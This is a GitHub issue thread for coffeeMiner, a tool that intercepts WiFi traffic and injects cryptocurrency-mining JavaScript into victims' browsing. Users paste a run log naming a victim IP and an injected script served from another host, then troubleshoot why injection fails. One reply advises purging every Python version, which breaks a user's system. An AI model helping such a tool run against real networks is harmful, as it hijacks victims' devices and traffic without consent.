arnaucube / coffeeMiner

collaborative (mitm) cryptocurrency mining pool in wifi networks
http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
GNU General Public License v3.0
1.07k stars 281 forks source link

injector.py error sintax #21

Open s00xMx opened 6 years ago

s00xMx commented 6 years ago

hello,

when i run a coffeeminer get the following error:

root@kali:~/coffeeMiner# python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.4'] Loading script: injector.py http://192.168.0.10:8000/script.js

Script error: injector.py line 11: invalid syntax

Proxy server listening at http://0.0.0.0:8080 192.168.0.4:57793: clientconnect 192.168.0.4:57795: clientconnect 192.168.0.4:57800: clientconnect 192.168.0.4:57801: clientconnect

and not inject the script.js

can you help me plz ?

ragekillen commented 6 years ago

same issue when using nethunter armhf on my Android but when inside a vm on laptop no issues

ragekillen commented 6 years ago

after further investigation i believe its a system link error.

if you type root@kali:/ python injector.py | root@kali:/ python2 injector.py you will see error line 11

on the other hand if you type root@kali:/ python3 injector.py there is no errors reported

so what this means if i am correct is its being ran with the python v1 | v2 instead of v3 as for a fix what i'm going to try is uninstall python v1 & v2 & v3 then re run install.sh

patame commented 6 years ago

hi ragekillen, hi all i have same problem invalid syntax line 11 but when i try to remove all version of python with this command: apt-get autoremove python apt purge python apt-get autoremove python3 apt purge python3 my server lost graphic interface and i have dependancy error.

please help me

ragekillen commented 6 years ago

Try running it as python3 injector.py